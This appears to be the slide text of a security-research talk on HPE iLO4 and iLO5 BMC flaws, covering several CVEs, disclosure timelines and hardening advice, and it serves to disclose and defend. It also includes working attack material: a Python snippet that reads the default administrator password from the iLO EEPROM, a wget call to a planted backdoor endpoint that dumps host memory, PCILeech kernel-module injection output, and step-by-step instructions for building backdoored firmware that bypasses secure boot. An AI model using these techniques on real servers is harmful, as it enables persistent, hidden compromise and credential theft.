Riding the lightning: iLO4&5 BMC security wrap-up

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Part I

Introduction
Baseboard Management Controller (BMC)
iLO hardware in a nutshell

- Embedded in most of HP servers for more than 10 years
- Chipset directly integrated on the server’s motherboard.

- This talk will cover iLO version 4 and iLO version 5 (released mid-2017)
- Impact HPE Gen8, Gen9 and Gen10 server lines
- Other BMCs: Dell's iDrac, Lenovo’s IMM, Supermicro BMC, etc.
Standalone system:

- Dedicated ARM processor: GLP/Sabine architecture
- Firmware stored on a NAND flash chip
- Dedicated RAM chip
- Dedicated network interface
- Full operating system and application image, **running as soon as the server is powered.**
- “Silicon root of trust”, *aka* secure boot (iLO5 only)
During several years on pentest reports, we saw: "Default credentials are still enabled on iLO, an attacker can reboot the server and boot it with an external ISO in order to steal unencrypted information..."

— Big Four company, senior pentester
State of the art until 2016/2017

Summary of well known pentest tricks:

- IPMI Authentication Bypass via Cipher 0
- IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval

Reference papers/publications:

- "IPMI: freight train to hell", by Dan Farmer
- "A Penetration Tester’s Guide to IPMI and BMCS"

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1 http://fish2.com/ipmi/remote-pw-cracking.html
2 http://fish2.com/ipmi/itrain.pdf
3 https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/
Teaming up

Unsatisfying

- Exposed iLO system discovered in most of our pentest engagements
- Rebooting server is noisy
- Could we reach the host from a compromised iLO?
- What is the attack surface from the host?

Deep dive evaluation

- Invest time to understand the system’s internals (200+ days):
  - Detailed cartography of the exposed attack surface
  - Multiple CVEs (compromise of iLO system from the host or administration side)
  - Identify and exploit internal host DMA capabilities to pivot
- Tools we developed:
  - Firmware extraction/analysis/backdooring scripts
  - Light scriptable network scanner for engagements
  - etc.
2018, tough year for BMCs

- **Subverting your server through its BMC: the HPE iLO4 case**, Joffrey Czarny, Alexandre Gazet & Fabien Perigaud, RECON BX18
- **The Unbearable Lightness of BMC's**, Matias Soler & Nico Waisman, BH18
- **Remotely Attacking System Firmware**, Jesse Michael, Mickey Shkatov & Oleksandr Bazhaniuk, BH18
- **Backdooring your server through its BMC: the HPE iLO4 case**, Joffrey Czarny, Alexandre Gazet & Fabien Perigaud, SSTIC 2018
- **Turning your BMC into a revolving door**, Joffrey Czarny, Alexandre Gazet & Fabien Perigaud, ZeroNights 2018

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7. [https://www.sstic.org/2018/presentation/backdooring_your_server_through_its_bmc_the_hpe_ilo4_case/](https://www.sstic.org/2018/presentation/backdooring_your_server_through_its_bmc_the_hpe_ilo4_case/)
Part II

Previous work: iLO4-to-Host and iLO4 backdoor
First steps on the system

Backdooring iLO4 firmware

Backdoor feature: iLO4 as host DMA proxy

Doing good with backdoor
Firmware update parsing

Reverse engineering of the firmware format

- Firmware update file format analysis
- Extraction of its components: bootloader, kernel, userland image, signatures, etc.
- Kernel Integrity analysis
- Understanding of the memory layout of the userland tasks (equivalent of processes)
- Loaders for IDA Pro

All the tooling is available on Airbus Github repository⁹!

---[ Sections List ]---

[...]
> 0x0000 - .dvi.elf.text at 0x009a3000, size 0x00035468 flags 0x1,0x0
> 0x0001 - .dvi.elf.data at 0x009d9000, size 0x0000077c flags 0x9,0x0
> 0x0002 - .libINTEGRITY.so.text at 0x009ea000, size 0x000047ec flags 0x1,0x0
> 0x0003 - .libINTEGRITY.so.data at 0x009ef000, size 0x00000014 flags 0x9,0x0
> 0x0004 - .libc.so.text at 0x009f0000, size 0x00033b84 flags 0x1,0x0
> 0x0005 - .libc.so.data at 0x00a24000, size 0x0000007fc flags 0x9,0x0
> 0x0006 - .libc.so.bss at 0x00a25000, size 0x00002000 flags 0xc,0x0
[...]

⁹ https://github.com/airbus-seclab/il04_toolbox
49 userland tasks! Exposed endpoints:

- SSH server (mpSSH)
- WWW server
- iLO RESTful API, Redfish
- iLO virtual media port
- IPMI
- SNMP
- UPnP

Some components are full home-made
WWW and SSH servers FTW!
CVE-2017-12542

- CVSS base score 9.8
- Pre-authentication remote code execution on web server component
- Impacted version:
  - HPE Integrated Lights-Out 4 (iLO 4) - Prior to v2.53

**Typical attack scenario**
An attacker with a foothold in a LAN or DMZ scans the network for exposed iLO4 web administration service and attacks vulnerable ones. Once compromised, it is then possible to pivot and compromise the host operating system as well, then to rebound to other hosts.
iLO4 Web server authentication bypass vulnerability

CVE-2017-12542

- A simple Buffer Overflow...
- Exploitable Pre-Auth...
- With a nice cup of $\text{AAAAAAAAAAAAAAAAAAAAAA}$ in the Connection header!

```c
struct https_connection {
    ...
    0x0C: char connection[0x10];
    ...
    0x28: bool localConnection;
    ...
    0xB8: void *vtable;
}
```

Allows a full authentication bypass but also Remote Code Execution!
How we can reach Host via BMC

While reversing the **Channel Interface** (CHIF) task, there were mentions of WHEA records parsing:

```
  whea: invalid info from SMBIOS type_229 : offset=%X, size=%X
  whea: found whea_info at %p
  whea: NO $WHE found!
  [...] 
  whea: sawbase access failed
  [...] 
  whea : re-running whea HostRAM detect
```

- Range of host **physical memory**
- Mapped in a userland task virtual memory (R/W)

More details in the Airbus Github repository\(^1\)

\(^1\) [https://github.com/airbus-seclab/ilo4_toolbox](https://github.com/airbus-seclab/ilo4_toolbox)
Our host runs an up-to-date Ubuntu Linux.

The plan:

- Dump the Linux kernel address space
- Do some recon to find interesting offsets
- Replace some unused functions with our shellcode
- Hijack the syscall table to redirect execution to our shellcode

DEMO
CVE-2018-7105

- CVSS base score 7.2
- Post-auth remote code execution through the SSH component
- Discovered and reported by Nicolas Iooss from the French National Cybersecurity Agency (ANSSI)
- Impacted version:
  - HPE Integrated Lights-Out 5 (iLO 5) - Prior to v1.35
  - HPE Integrated Lights-Out 4 (iLO 4) - Prior to v2.61
  - HPE Integrated Lights-Out 3 (iLO 4) - Prior to v1.90

**Typical attack scenario**
An attacker with a foothold in a LAN or DMZ scans the network for exposed iLO SSH service. An administrator account is needed. It can be obtained through the exploitation of IPMIv2 protocol weakness (offline password hash brute-force).
First steps on the system

Backdooring iLO4 firmware

Backdoor feature: iLO4 as host DMA proxy

Doing good with backdoor
SPI service

- "SpiService" in the spi module
- Direct R/W primitives into the SPI flash

Attack

- Invoke the "SpiService" from a shellcode injected into the WWW server
- Direct overwrite of the firmware in the flash
- Bypass of the dynamic integrity check of the firmware
Methodology

- Full extraction of the firmware update
Backdoored firmware boot process

**Methodology**

- Full extraction of the firmware update
- Patch of the bootloader

```
1. check integrity
2. decompress
3. load
```

![Diagram showing the firmware boot process with iLO4, userland, kernel, and bootloader.]
Methodology

- Full extraction of the firmware update
- Patch of the bootloader
- Patch of the kernel

1. Check integrity
2. Decompress
3. Load

---

[iLO4]

Userland
Kernel
Bootloader
Hardware reset

1. Check integrity
2. Decompress
3. Load
Backdoored firmware boot process

Methodology

- Full extraction of the firmware update
- Patch of the bootloader
- Patch of the kernel
- Addition of a backdoor
- Rebuild the firmware update
- Flash of the firmware
**Backdoor?**

**Custom handler in the WWW task**

- **GET handler**
- **Allows host memory read and write**

```bash
$ wget -O dmp.bin 'https://192.168.42.78/backd00r.htm?act=dmp&hiaddr=0&loaddr=10000&count=10000'
2019-01-25 17:29:04 (1.15 MB/s) - ‘dmp.bin’ saved [65536]

$ xxd dmp.bin | head
00000000: 4d5a ea07 00c0 078c c88e d88e c08e d031 MZ........1
00000010: e4fb fcbe 4000 ac20 c074 09b4 0ebb 0700 ....@...t.....
00000020: cd10 ebf2 31c0 cd16 cd19 eaf0 ff00 f000 ....1........
00000030: 0000 0000 0000 0000 0000 0000 8200 0000 ............
00000040: 5573 6520 6120 626f 6f74 206c 6f61 6465 Use a boot loade
00000050: 722e 0d0a 0a52 656d 6f76 6520 6469 736b r....Remove disk
00000060: 2061 6e64 2070 7265 7373 2061 6e79 2065 and press any k
00000070: 6e79 2074 6f20 7265 626f 6f74 2e2e 2e0d ey to reboot....
00000080: 0a00 5045 0000 6486 0400 0000 0000 0000 ..PE..d........
00000090: 0000 0100 0000 a000 0602 0b02 0214 1027 ............'
[...]
Outline

First steps on the system

Backdooring iLO4 firmware

Backdoor feature: iLO4 as host DMA proxy

Doing good with backdoor
PCILeech is a tool using either hardware or software memory acquisition devices to perform various actions on a target’s physical memory, including inserting kernel modules and unlocking sessions.

We developed a TCP PCILeech connector.\textsuperscript{11}

\textsuperscript{11} \url{https://github.com/Synacktiv/pcileech}
$ time ./pcileech kmdload -vvv -device rawtcp -device-addr 127.0.0.1 -device-port 8888 -kmd LINUX_X64_48

Current Action: Scanning for Linux kernel base
Access Mode: DMA (hardware only)
Progress: 748 / 268435422 (0%)
Speed: 6 MB/s
Address: 0x000000002FA00000
Pages read: 191488 / 68719468032 (0%)
Pages failed: 0 (0%)

Current Action: Verifying Linux kernel base
Access Mode: DMA (hardware only)
Progress: 32 / 32 (100%)
Speed: 1 MB/s
Address: 0x0000000031A00000
Pages read: 8192 / 8192 (100%)
Pages failed: 0 (0%)
KMD: Code inserted into the kernel - Waiting to receive execution.
KMD: Execution received - continuing ...
KMD: Successfully loaded at address: 0x76680000

real 2m38.038s
Outline

First steps on the system

Backdoor feature: iLO4 as host DMA proxy

Doing good with backdoor
Fun with friends: Adrien Guinet (Quarkslab, @adriengnt)

- NotPetya, variant of the Petya ransomware that appeared in June 2017 in Ukraine
- Rewrite the MBR of computers that are still using an old fashioned BIOS-based booting system.
- Rogue MBR encrypts the system partition
- Adrien’s previous work\textsuperscript{12}: the encryption key stays in RAM after the encryption process and ransomware triggered initial reboot

We can use our DMA access to recover the key and trigger the ransomware’s decryption code!

\textsuperscript{12} https://github.com/aguinet/petya2017_notes
Recovering servers

If you see this text, then your files are no longer accessible, because they have been encrypted. Perhaps you are busy looking for a way to recover your files, but don’t waste your time. Nobody can recover your files without our decryption service.

We guarantee that you can recover all your files safely and easily. All you need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

1. Send $300 worth of Bitcoin to following address:
   
   1Mz7153HMuxXTuR2A1t78mG5dzaNTNbdwx

2. Send your Bitcoin wallet ID and personal installation key to e-mail
   
   wowsmith123456@posteo.net. Your personal installation key:
   
   MbsXav-jQQaAF-MX7F4N-dggUS-3TiPXt-8MYwjO-YEo3K-reXwZU-K7afyt-5J3oBt

If you already purchased your key, please enter it below.

Key: _
If you see this text, then your files are no longer accessible, because they have been encrypted. Perhaps you are busy looking for a way to recover your files, but don’t waste your time. Nobody can recover your files without our decryption service.

We guarantee that you can recover all your files safely and easily. All you need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

1. Send $300 worth of Bitcoin to following address:

   1Mz7153HMuxXTuR2A1t70mGSdzaNtMBqWX

2. Send your Bitcoin wallet ID and personal installation key to e-mail wowsmith123456@posteo.net. Your personal installation key:

   MhsKFy-jQqaAF-MX7f4N-dg8US-3TixFt-8MwFh-YEo3xK-reXwZU-K7afyT-5J3o8t

If you already purchased your key, please enter it below.

Key:

Decrypting sector 1984 of 171488 (1%)
Whitepaper and scripts

- Available on the ilo4_toolbox Github repository\(^\text{13}\)

\(^{13}\) https://github.com/airbus-seclab/ilo4_toolbox
Part III

Host to BMC
This part applies on iLO4. Most of it should also be valid for iLO5, with slight changes.
Available tooling

**Linux driver hpilo**
- Exposes char devices to communicate with the iLO
- Permissions on /dev entries require *root* to access

**HPE proprietary tools**
- *hponcfg*: allows to get/set configuration parameters on iLO
- Firmware updates: include a *flash_iLO4* binary
# lspci
...
01:00.2 System peripheral: Hewlett-Packard Company Integrated Lights-Out Standard Management Processor Support and Messaging (rev 05)
...

# cat /proc/iomem | grep hpilo
fad60000-fad67fff : hpilo
fad70000-fad77fff : hpilo
fad80000-fadfffff : hpilo
fae00000-faefffff : hpilo
faff0000-faff00ff : hpilo

Channels are setup in shared memory

- One device per channel in /dev/hpio/, 8 to 24 channels
- FIFO structure
chif is a task on iLO side

- Waits for messages from the host
- Dispatch to the correct command handler
- Can dispatch certain messages to other tasks

Quite simple message format

```c
struct chif_command
{
    int size;
    short command_id;
    short destination_id;
    char data[];
};
```

By default, there is no authentication!
100+ commands handled by CHIF module

- 0x01/0x02: Get/Set iLO Status
- 0x03/0x04: Get/Set Server Information
- 0x05/0x06: Get/Set Network Info
- etc.

Some dangerous ones...

- 0x70: Access iLO EEPROM: get access to default Administrator password
- 0x50/0x52: Flash command / Flash Data: install a new firmware
- 0x5a: Set User Account Data: create a new user (with administrator privileges)
Access iLO EEPROM from Linux in 6 Python lines

```python
>>> f=open("/dev/hpilo/d0ccb1", "wb+")
>>> data = "MFGDiag\x00" + pack("<L", 1)
>>> data += "\x00" * (0x8c - len(data))
>>> f.write(pack("<L2H", len(data)+8, 0x70, 0) + data)
>>> resp = f.read(4)
>>> resp += f.read(unpack_from("<L", resp)[0] - 4)
>>> print hexdump(resp)
0000 8c 00 00 00 70 80 00 00 00 00 00 01 00 00 00 ....p............
0010 43 5a 31 37 31 35 30 31 47 39 20 20 20 20 20 20 CZ171501G9
0020 00 00 00 00 00 00 00 00 00 00 02 00 00 00 ff ff ff ff ..............
0030 ff ff ff ff 41 64 6d 69 6e 69 73 74 72 61 74 6f Administrato
0040 36 4e 4a 37 00 00 00 00 00 00 47 xx xx xx r............G***
0050 36 4e 4a 37 00 00 00 00 00 00 00 00 00 00 00 00 6NJ7............
0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .........
0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...........
0080 00 00 00 00 61 2b ff ff ff ff ff ff a+......
```
Targeting firmware update

**Firmware update**

- Complex file format parsing
- Various signature checks
- A vulnerability might allow to install a backdoored firmware

**Accessible from both the host and the web server**
Firmware update workflow

Firmware update

- 1. New firmware sent from the host or from HTTP
Firmware update workflow

Firmware update

- 1. New firmware sent from the host or from HTTP
- 2. Firmware sent to fum task
Firmware update workflow

**Firmware update**

- 1. New firmware sent from the host or from HTTP
- 2. Firmware sent to fum task
- 3. fum validates file format and signature
Firmware update workflow

Firmware update

- 1. New firmware sent from the host or from HTTP
- 2. Firmware sent to fum task
- 3. fum validates file format and signature
- 4. fum asks the kernel for additional validations
Firmware update workflow

**Firmware update**

- 1. New firmware sent from the host or from HTTP
- 2. Firmware sent to `fum` task
- 3. `fum` validates file format and signature
- 4. `fum` asks the kernel for additional validations
- 5. `fum` asks the `spi` service to write the new firmware on the SPI flash
fum verification steps

**HP Signed File Fingerprint parsing**

- Parsing line by line
- Retrieving Hash and Signature elements

**Signature validation**

- Compute hash of HPIMAGE block
- Check signature using hardcoded HPE public key

```plaintext
-----BEGIN RSA PUBLIC KEY-----
MIIBcGKCAQEAteyJedpzasCIZeLkygK/GsUB29BY6wR0zcv/N5M/PitwnkNLa/ybi7FKQIf0H7wRLzPSLWUORRKy5ovfRwiw+6ezx1gjp/IvM75mI56KoanlyRw04FZmjfHKndMTCMaozBLUpIgfCr33NsAI4EcIG/edp7fgzUMr/T4xE0lyHxzCi0q70HPBjuQ+CKrwbCPfxx0EA3vw+/fQq0f5RhZ+ihAKZyZcAzLvW0SI4gEvzm0L3uUolmM1x/QAAWPA5fJfkGQAARS+I8pyb/sz9eaXb+JB/ukuGffwzPuqyKGCgILNIKsFKF48+QBYCutnD0FY7uekLLb9GUuKjWiDe8D0wIDAQAB
-----END RSA PUBLIC KEY-----
```
HPIMAGE format recap

Format

- Kernel and Userland are compressed and signed
- Bootloader is uncompressed and unsigned (ARM assembly)

Boot process

- **Bootloader** has code to load and verify **Kernel** signature
- **Kernel** has code to load and verify **Userland** signature
- Bootloader is **never verified** in the boot process
Kernel verification steps

**GKIMG kernel task**

- Exposes the CONGKIMG resource to userland tasks
- Exposes 10 command handlers
- Verifies Kernel and Userland integrity through command 2
  - Decrypt embedded signature
  - Computes hash and compare to decrypted
  - Tries to decompress if compressed
- Key used to verify signatures can be provided through command 1
Signatures verification recap

**Signatures are checked in 3 steps:**

- Whole HPIMAGE signature in fum task
- Userland and Kernel images signatures in GKIMG kernel task
- Kernel then Userland signatures during the boot process

**On iLO4, the bootloader is not signed!**

**With a single userland vulnerability:**

- A bad firmware can be written by asking the spi service directly
- The bootloader can be backdoored to avoid Kernel signature checking
- The Kernel can then be backdoored to avoid Userland signature checking
- A backdoor can then be inserted in a userland task
HP Signed File Fingerprint parsing in `fum`

```c
char line_local[1024];

while (1) {
    if ( !readline(dlobj, line_local) ) /* HERE */
        return 0xB;
    if ( !strcmp(line_local, "--=</End HP Signed File Fingerprint></>=--") )
        break;
    key = split(line_local, ":");

    if ( !key ) return 1;
    if ( !strcmp(key, "Hash") )
        some_stuff();
    else if ( !strcmp(key, "Signature") )
        some_other_stuff();
}
```

Call to `readline()` with a **fixed-size** local buffer, and **no size** specified?
The readline() function

As expected...

```c
int readline(DOWNLOADER *dlobj, char *line_out)
{
    char *ptr;
    int line_size;

    ptr = strtok(dlobj->buffer_read, "\r\n");
    if ( ptr )
    {
        line_size = ptr - dlobj->buffer_read;
        if ( line_out )
        {
            memcpy(line_out, dlobj->buffer_read, line_size); /* BAD */
            line_out[line_size] = 0;
        }
    }
    [...]
}
```

The full line is copied in the provided buffer, without any size check.
Exploitation

Without code execution?

- We could redirect code execution to bypass `fum` signature validation
- **but** the `GKIMG` check in the kernel will fail

With code execution!

- Security is a failure: **no ASLR, no NX**
- Shellcode can be written in the firmware file sent to the service, loaded at a fixed address in memory!
- Shellcode content could be:
  - Directly ask `spi` service to write the firmware on the SPI flash
  - **OR** change the `GKIMG` key and let `fum` continue the process
Responsible Disclosure

Good news

- Reported to HPE PSRT on May 12th 2018
- Impacts iLO4 and iLO5
- Patches available:
  - iLO4 2.60 released on May 30th 2018
  - iLO5 1.30 released on Jun 26th 2018
- CVE-2018-7078, CVSS3 base score 7.2
- “Remote or Local Code Execution”
- See HPESBHFO3844\(^\text{14}\)

\(^{14}\) [https://support.hpe.com/hpsc/doc/public/display?docId=hpeshfo3844en_us](https://support.hpe.com/hpsc/doc/public/display?docId=hpeshfo3844en_us)
Don’t worry, my iLO is disabled
Well...

```bash
root@archiso ~ # python2 ilo.py
### CMD: 8070
### Len: 8c
### ErrCode: 0
Revision: 1
Username: Administrator
Password: [hidden]
root@archiso ~ #
```
We already proved firmware backdooring to be possible

- Backdooring your server through its BMC: the HPE iLO4 case, Joffrey Czarny, Alexandre Gazet & Fabien Perigaud, SSTIC 2018\(^\text{15}\)

- Add an endpoint in web server task allowing to install a memory-only backdoor in the host

Now we’re able to do it from the host!

- Even if iLO is disabled
- Persistent host backdoor hidden into iLO hardware

\(^\text{15}\) https://www.sstic.org/2018/presentation/backdooring_your_server_through_its_bmc_the_hpe_iLO4_case/
Part IV

iLO5 discovery
Introduction

Firmware analysis
Our motivations with iLO5

Same core idea: evaluate the trust we can put in a solution/product

- Evolution of the exposed surface since iLO4
- Not a vulnerability research campaign
- Focus on game changer feature: silicon root of trust (secure boot)
HPE ProLiant ML110 Gen10

- Entry level server (not too expensive, 1500$)
- Compact form factor (tower)
- Gen10 means iLO5
- R.I.P MicroServer
Hardware reconnaissance

Key parts

1. **H5TC4G63EFR**: Skhynix 4Gb low power DDR3L Synchronous DRAM

2. **Macronix MX25L25635FMI-10G**: NOR Memory IC 256Mb (32Mx8) SPI 104MHz 16-SOP

3. **Macronix MX25L51245GMI-10G**: NOR Memory IC 512Mb (64Mx8) SPI 104MHz 16-SOP
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No luck with main SOC

- Cortex-A9
- Unknown secure-boot/cryptographic capabilities
Hardware reconnaissance

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Misc: board design by Wistron Corporation?

- Markings found in customs/export docs
Introduction

Firmware analysis
A new firmware format

- **32MB**, wrapped in an HPIMAGE signed container
- It contains:
  - A “bootblock” (last 0x10000 bytes)
  - List of modules
  - Two copies of each (redundancy/fault-tolerance)
  - Each module is:
    - Described by a header
    - Signed (data and most of the header)
iLO5 module header (extract)

> module : iLO 5 Kernel 00.09.53

> fw_magic : 0x4edd411a

> header_type : 0x2

> type : 0xb

> flags : 0x5

[...]

> backward_crc_offset : 0x0

> forward_crc_offset : 0x853cf

> img_crc : 0x8dcf6c26

> compressed_size : 0x853cf

> decompressed_size : 0xd5180

> entry_point : 0xffffffff

> crypto_params_index : 0x2

> crypto_params_index_2 : 0x0

> header_crc : 0xb66e2ac6

[...]

> copyright: Copyright 2018 Hewlett Packard Enterprise Development, LP

> signature1: 0x200 bytes [3c 4f 4f 13 ed 6d e7 20 ...]

> signature2: 0x200 bytes [00 00 00 00 00 00 00 00 ...]

[...]

> fw_magic_end : 0x4edd4118
Firmware unpacked

[+] Modules summary (10)

0) Secure Micro Boot 1.01, type 0x03, size 0x00008000, crc 0xe88c2109
1) Secure Micro Boot 1.01, type 0x03, size 0x00004da8, crc 0x8ce8238c
2) neba9 0.9.7, type 0x01, size 0x000033a4, crc 0x464f22de
3) neba9 0.9.7, type 0x01, size 0x000033a4, crc 0x464f22de
4) neba9 0.9.7, type 0x01, size 0x000033a4, crc 0x464f22de
5) neba9 0.9.7, type 0x01, size 0x000033a4, crc 0x464f22de
6) iLO 5 Kernel 00.09.51, type 0x0b, size 0x000d5110, crc 0xcd6de878
7) iLO 5 Kernel 00.09.51, type 0x0b, size 0x000d5110, crc 0xcd6de878
8) 1.30.35, type 0x20, size 0x01a5707c, crc 0x069e2ba1
9) 1.30.35, type 0x22, size 0x0049f8b4, crc 0xc41682f7
Figure 1: iLO5 1.30 Jul 2018
Part V

Attacking secure boot
Outline

Root of trust

Cryptographic signature

Secure boot defeat

The epic tale of how we screw up
Our guess regarding the bootrom

- Init DDR memory
- Map firmware at 0xFE000000, bootblock is at 0xFFFF0000
- Verify signature from SMB0 header (data from 0xFFFF0000-0xFFFF8000, see 1)
- Verify signature from SMB1 header (data from 0xFFFF0000-0xFFFF5000, see 2)
- Trigger ARM reset vector 0xFFFF0000
Minimalistic first-stage bootloader

- Few CPU initialization operations:
  - Instruction/data caches
  - Configuration tweaking based on MIDR\textsuperscript{16}
  - TrustZone unused
- Seems to access some persistent memory mapped configuration
- Exposed API
- Load next bootloader
  - \texttt{neba9 0.9.7} (nominal behavior)
  - \texttt{neb926} (memory test?)

\textsuperscript{16}ARM’s CPUID
Outline

Root of trust

Cryptographic signature

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The epic tale of how we screw up
Cryptographic material

- Up to 2 signatures, stored in the header
- RSASSA-PKCS1-V1_5 signature (same as iLO4\textsuperscript{17})
- 4096-bit key
- Flat array of bignums in module's data
- Exponent (0x10001) followed by 6 public keys

```c
struct BIGNUM
{
  unsigned short struct_size;
  unsigned short index;
  unsigned char type;
  BIGNUM_DATA data;
};

struct BIGNUM_DATA
{
  unsigned short nb_bytes;
  unsigned char bits[bytes];
};
```

\textsuperscript{17}see signature.rb
Down the bootchain: how SMB loads neba9

1. Load key
2. Decrypt hash
3. Verify hash

- SecureMicroBoot
- neba9 header
- neba9 body
- index1
- index2
- signature1
- signature2
- key1
- key2
- key3
- key4
- key5
- key6
def mod_hash()
    digest = Digest::SHA2.new(bitlen=512)

    # read header
    File.open('mod.hdr', 'rb'){|fd|
        digest << fd.read(0x58)
        fd.seek(0x4, IO::SEEK_CUR) # hum?
        digest << fd.read(0xA4)
    }

    # read blob/body
    File.open('mod.body', 'rb'){|fd|
        digest << fd.read()
    }

    return digest.hexdigest
end
What does this mean?

- 4 bytes of the header not covered by the hash value nor the CRCs
- Two fields: indexes of public keys
- **Hypothesis**: post/cross signature by two different entities?

Is it exploitable?
Nope\(^a\) :(

\(^a\)(not yet)
Down the bootchain: how neba9 loads iLO5 kernel

Delegated Security

1. neba9 calls the “dlopen” API, exposed by SMB, with kernel’s config
2. SMB performs the cryptographic checks then loads the kernel in memory
3. neba9 jumps to kernel’s entry point
Outline

Root of trust

Cryptographic signature

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The epic tale of how we screw up
iLO5 kernel

- Responsible for loading the userland (Integrity image)
- Almost the exact same code for loading module
- Trust only a single key to check signature\(^\text{18}\)
- Remember the two index fields?\(^\text{18}\)

\(^{18}\) called “legacy” key, also used to sign iLO4 components
Broken logic in `load_signature`:

```c
steps_mask = 0;
if ( load_legacy_key(hdr->index1, &pkey, 0x804) )
{
    steps_mask = 1;
    if ( decrypt_hash(hdr->sig1, &sig_size, hdr->sig1, sig_size, &pkey) )
        goto EXIT_FAILED;
}
if ( !load_legacy_key(hdr->index2, &pkey, 0x804) )
goto FUCK_YEAH; // <------ !!! NO FFS !!!
steps = steps_mask | 2;
if ( decrypt_hash(hdr->sig2, &sig_size, hdr->sig2, sig_size, &pkey) )
goto EXIT_FAILED;
if ( steps == 2 )
    memcpy(hdr->sig1, sig2, sig_size); // only sig2, overwrite sig1
// two sigs? ensure they match
if ( steps == 3 && memcmp(img_hdr_->sig1, sig2, sig_size) )
EXIT_FAILED:
    return ERROR;
FUCK_YEAH:
    return SUCCESS;
```
What happened?

- `load_legacy_key` expects 1 as index for public key. Fails otherwise.
- `load_signature` returns with `success code` if `load_legacy_key` failed for `index2`.
- **Signatures fields are left untouched**
- iLO5 kernel compares the hash value with `sig1` field

Is it exploitable?

- Hell yeah!! :)
Saboteur cookbook

- Extract firmware, get iLO5 userland
- Decompress, insert backdoor, compress
- Set indexes 1 & 2 to rogue values
- Update sizes and CRCs
- Compute cryptographic hash of the whole
- **Update sig1 field with hash value from above**
- Use CVE-2018-7078 to push the firmware

Silicon root of trust and secure boot checkmate?
Saboteur cookbook

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- Decompress, insert backdoor, compress
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- **Update sig1 field with hash value from above**
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**Silicon root of trust and secure boot checkmate?**

*Figure 2: [Link to Grumpy Cat image](https://www.deviantart.com/imwithstoopid13/art/Grumpy-Cat-Nope-366369969)*
Outline

Root of trust

Cryptographic signature

Secure boot defeat

The epic tale of how we screw up
Situation

- Blinking motherboard
- iLO services are up (like SSH/WWW) but seems broken/unresponsive
- Can't flash a new firmware ⇒ SNAFU
I love when a plan comes together

**Situation**
- Blinking motherboard
- iLO services are up (like SSH/WWW) but seems broken/unresponsive
- Can’t flash a new firmware ⇒ SNAFU

**Need more information**
- MicroServer had serial output ⇒ start probing pins with logic analyser
- More friends more fun, Trou & Phil, thx bros o/
Software guys go hardware
Knock knock. Who’s there?
Figure 3: Serial and flash probing
Messing with iLO’s logs

Booting neba9 0.9.5 from fc00_0000
Copyright 2017 Hewlett Packard Enterprise Development, LP
NEBA9 Version 20161201162523
ASIC rev 0006013b  MEMCFG=00093026

[...]
Kernel..........................................................INTEGRITY v11.2.4
BSP.............................................................iLO on the GXP A9 for 0006013b/20b
Debug Agent....................................................Not Present
IP Address.....................................................unknown
RAM..............................................................226 MB
Active Cores......................................................1
Initial Objects...................................................224
Initializing boot modules:
  Resource Manager.........................................Success
[...]
ilomain: marker 52 @ 10.394519
Loading 1.17.06
Download File: main
  Number Of Virtual AddressSpaces Downloaded 0x47
*** Task dvrspi.Initial encountered an exception
Long story short

**We screw up**

- Our backdoored userland is flawed
- Bad decompression code (a buffer was not properly initialized…)
- Induce a late error in the ELF parser of Integrity
- Kernel does not pop the recovery FTP server

We fixed it

- Flip one byte in the NOR flash to cause the kernel to enter into recovery mode
- Push a legitimate firmware through the opened FTP access
- Fix our decompression algorithm
- Btw a talented friend tipped us it was actually regular LZ77, thx bro
- Actually no need to re-compress userland (enough room)
We screw up

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Secure boot defeated

Figure 4: Cat and reversers happy

Demo: backdoored SSH
Good news

- Reported to HPE PSRT on Sept 3rd 2018
- iLO5 1.37 released on Oct 26th 2018
- CVE-2018-7113, CVSS3 base score 6.4
- “Local Bypass of Security Restrictions in Firmware Update”
- See HPESBHF03894\(^\text{19}\)
Kernel logic fixed with iLO5 1.37, but:

- First and second stage bootloaders unchanged
- **Legitimately signed**, vulnerable, kernels are in the wild
- iLO allows **firmware downgrade**!
- \( \Rightarrow \) **How do they handle revocation of these?**

**Attack scenario**

- Attackers build “Frankenstein” firmware with old, vulnerable kernel modules
- Attack vectors:
  - Physical: supply chain attacks
  - Logical: downgrade chained with a vulnerability in userland (SPI flash access)
Anti-downgrade feature introduced with iLO5 version 1.39 (Dec 2018)

- “Added Downgrade Policy setting to Security -> Access Settings page.”
- Software fix in the update code (check on the versions)
- Feature enabled through the administration interface
- No interface to disable it once enabled
- Status stored in EEPROM?

Limited

- Attack vectors remain open:
  - Physical: supply chain attacks/physical access to the flash
  - Logical: vulnerability in userland (reuse SPI flash service)
Part VI

Conclusion
Wrapping it all

Multiple vulnerabilities

- CVE-2017-12542 - **Pre-authentication** remote code execution on WWW component
- CVE-2018-7078 - Remote code execution through the firmware update component
  - From the host: pre-auth
  - From the WWW component: post-auth
- CVE-2018-7105 - Post-auth remote code execution through the SSH component
- CVE-2018-7113 - iLO5 broken secure boot

Discovered and exploited

- **DMA** access from iLO chip to the host memory
- Attacker can establish a bi-directional communication with the host
iLO4 killchain from LAN network

Attacker's LAN foothold

/uuiddata endpoint

Banner grabbing

iLO version < 2.53 ?

IPMIv2 password bruteforce

Exploit CVE-2017-12542

Update to last version (2.61)

Disable IPMI over LAN

Administration domain

Production domain

Disable endpoint

Network reconnaissance
iLO4 killchain from prod network

- Attackers foothold
  - Compromised
  - Exposed service

- Exploit
  - CVE-2018-7078

- iLO4 version
  - < 2.60?

- Administration domain
- Production domain

- Update to
  - Last version (2.61)
iLO5 killchain from prod network

**Exploit CVE-2018-7078**

- **iLO5 version < 1.30?**
  - **Y** 
    - Update to last version (1.37)
  - **N**
    - Default security mode?
      - **Y** 
        - High security mode or higher
      - **N**

**Attackers foothold**

Administration domain → Production domain

Administration domain → Production domain

Update to last version (1.37)

**Production domain**

**Production domain**

**Production domain**

**Production domain**

**Administration domain**
iLO4 systems takeaways

**Large attack surface**
- Exposed on both the administration and production sides
- Unpatched systems: *dreamland for lateral movement*
- Network isolation/segregation is a must have, but not enough
- Keep these assets up to date and monitor them carefully

**Simple hardening**
- Disable IPMI over LAN (*Administration/Access Settings*)
- Disable xmldata (*Administration/Management/Insight Management Integration*)
Lots of new features

- IPMI over LAN **disabled by default**
- Security modes
- HTML5 remote console
- **etc.**

**The system design is basically the same as iLO4**

- Integrity operating system (updated to v11.2.4)
